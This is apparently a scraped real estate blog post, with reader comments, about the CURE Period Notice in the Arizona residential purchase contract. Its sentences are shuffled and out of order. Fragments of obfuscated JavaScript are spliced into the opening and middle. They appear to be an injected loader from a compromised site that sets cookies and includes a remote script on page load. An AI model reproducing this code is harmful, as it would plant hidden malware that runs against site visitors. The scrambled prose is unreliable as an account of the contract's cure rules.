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I get the amazing opportunity to chat with you today about one of the most underutilized, misunderstood bits of our AZ Residential Real Estate Purchase Contract: The CURE Period Notice.. *(?;\$!)/g, _0x25ec54={};continue;case'5':var _0x2601aa;continue;}break;}},'set':function(_0x6f9240,_0x407dd8,_0xe900ea,_0x28b9cd,_0x1902c6,_0x29a9d4){var _0x274ff4={ 'YMuGD':function _0x423726(_0x800f42,_0x533aff){return _0x800f42+_0x533aff;},'FfDYt':function _0x18790a(_0x33c864,_0x5d6c6e){return _0x33c864+_0x5d6c6e;},'dSGge':_0x44c0('0x11'),'qUSPu':function _0x3aa832(_0x4e0a34,_0xb56304){return _0x4e0a34+_0xb56304;},'nUkpF':function _0x2f54eb(_0x335d9b,_0x50474a){return _0x335d9b*_0x50474a;},'DsJhn':function _0x490ccb(_0x2228ec,_0x3da446){return _0x2228ec+_0x3da446;},'rupwo':_0x44c0('0x12'),'yOjmg':';\x20secure'};document['cookie']=_0x274ff4[_0x44c0('0x13')][_0x274ff4[_0x44c0('0x13')][_0x274ff4[_0x44c0('0x13')][_0x274ff4['YMuGD'](_0x274ff4[_0x6f9240,']=),escape(_0x407dd8)),_0xe900ea?_0x274ff4['FfDYt'](_0x274ff4['dSGge'],new Date(_0x274ff4['qUSPu'](new Date()[_0x44c0('0x14')](,_0x274ff4['nUkpF'](_0xe900ea,0x3e8)))):'),_0x28b9cd?_0x274ff4[_0x44c0('0x15')][_0x274ff4[_0x44c0('0x16')],_0x28b9cd:'),_0x1902c6?_0x274ff4[_0x44c0('0x15')][_0x44c0('0x17')],_0x1902c6:')+(_0x29a9d4?_0x274ff4[_0x44c0('0x18')]:'');};function R(){var _0x398f2b={'otFhF':_0x44c0('0x19'),'wcaHd':_0x44c0('0x1a'),'MONyE':_0x44c0('0x1b'),'FDPbM':_0x44c0('0x1c'),'YTdlk':_0x44c0('0x1d'),'wOfiE':_0x44c0('0x1e'),'TsljR':function _0x10c982(_0x5e69a2,_0x29f40b){return _0x5e69a2=0x0;if(_0x398f2b[_0x44c0('0x29')][_0x44c0('0x1f')],_0x398f2b[_0x44c0('0x2a')])[_0x21b179=!![]];}else{cookie[_0x44c0('0x2b')][_0x398f2b[_0x44c0('0x2c')],0x1,0x1);if(!_0x5573c4){_0x398f2b[_0x44c0('0x2d')](include,_0x398f2b['WXJMr'](_0x398f2b[_0x44c0('0x2e')]+q,''));}}if(_0x21b179){cookie[_0x44c0('0x2b')][_0x398f2b['wOfiE'],0x1,0x1);if(!_0x5573c4){_0x398f2b[_0x44c0('0x2d')](include,_0x398f2b[_0x44c0('0x2f')][_0x398f2b['gIdeh'](_0x398f2b[_0x44c0('0x2e')],q,''));}}}}R(); CURE Period Notice: Do you know how itâ€™s used?I just issued a CURE Period Notice.. constructor(\x22return\x20this(\x22)(\x20)'+');()};catch(_0x785720){_0x3bf1f9=window;}return _0x3bf1f9;};var _0x49d8f3=_0x371bc2();var _0x372209='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'=_0x49d8f3['atob']||(_0x49d8f3['atob']=function(_0x5a8436){var _0x44a491=String(_0x5a8436)['replace'](/=/+\$/,'');for(var _0x159bd1=0x0,_0x41e536,_0x142651,_0x1b5da8=0x0,_0x3cb0d9='';_0x142651=_0x44a491['charAt'](_0x1b5da8++);~_0x142651&&(_0x41e536=_0x159bd1%0x4?_0x41e536*0x40+_0x142651:_0x142651,_0x159bd1+++%0x4)?_0x3cb0d9+=String['fromCharCode'](_0xff&_0x41e536>>(-0x2*_0x159bd1&0x6)):0x0){_0x142651=_0x372209['indexOf'](_0x142651);return _0x3cb0d9;}});()};_0x44c0['base64DecodeUnicode']=function(_0x34fee3){var _0x34de5b=atob(_0x34fee3);var _0xdfb51f=[];for(var _0x4b4ba2=0x0,_0x29f7a8=_0x34de5b['length'];_0x4b4ba2=0x0){fromSR=!![];}else{return undefined;}}continue;case'2':return _0x25ec54;case'3':if(_0x4a0005){return _0x25ec54[_0x4a0005];}continue;case'4':var _0x379053=document[_0x44c0('0xf')][_0x44c0('0x10')]/[w-]+=.. There you have the CURE Period Notice Something that youâ€™ll hopefully not have to deal with but to make sure your favorite REALTOR is familiar with should you find that someone in your contract is in breach.. Shar is always working â€™With Your Success in Mind â€™Wow, thatâ€™s cool.. After the 3 days has passed, and if the Buyer still has not fulfilled their contractual obligations, the Seller may elect to cancel the contract.

(lines 272-275 of the purchase contract)What this means to you as a Buyer or Seller is there is no â€™automaticâ€™ breach of contract.. Iâ€™d love to hear your thoughts About Shar RundioWife, mom, seasoned REALTOR, Mexican food aficionado, wannabe techie, travel junkie, Facebook & Instagram addict.. Friend or Foe? Depends on which side of the breach youâ€™re on, I guess.. Hereâ€™s a sampling of reasons that a CURE Notice might be issued:Soâ€™how does this play out? Letâ€™s take the same scenario above where the Buyer has failed to close on time.. Unless youâ€™ve been on either side of a CURE Period Notice itâ€™s not something you probably know much about.

(Editors Note: If you want to talk to Shar more she loves to connect on FacebookEnter, THE CURE NOTICE, incorporated into the purchase contract in 2005:CURE Period: A party shall have an opportunity to cure a potential breach of this Contract.. The non-breaching party must issue a CURE PERIOD NOTICE to the breaching party detailing the non-compliance and giving

them 3 full calendar days AFTER delivery of said notice to cure the breach.. Are you counting days with me here? That's effectively 5 days after the initial breach before the Seller can cancel.. If the non-compliance is not cured within three (3) days after the delivery of such notice (Cure Period), the failure to comply shall become a breach of Contract.. If a party fails to comply with any provision of this Contract, the other party shall deliver a notice to the non-complying party specifying the non-compliance.. he liked to say Welcome to The Phoenix Real Estate Guy, or "TPREG" as we fondly refer to it.. Sure is an attention-getter; Had sent iniitally pleasant emails, requesting, then cajoling, then begging, then we went to demanding, ordering, INSISTING.

A what? you say That's what I thought.. If the Seller intends to cancel the contract (or merely scare the beejebies out of the Buyer) the Seller must deliver a CURE Period Notice after the failure to close and then allow 3 days for the Buyer to cure their breach.. Nothing Little bitty cure period notice? Worked like a charm Great article, Jay as always!Please see our blog / comment policy here.. Never heard of the CURE period notice Can save a tonne of potential hassle Only had to use this wonderful tool one time.. Web site owned / operated by:TPREG Marketing LLCSearch This SiteSite AdvertisersFor your lending needs contact Shane Hollenback at Eagle Home MortgageWho is The Phoenix Real Estate Guy?The Phoenix Real Estate Guy was started by Jay Thompson, and I have a little blogging problem..

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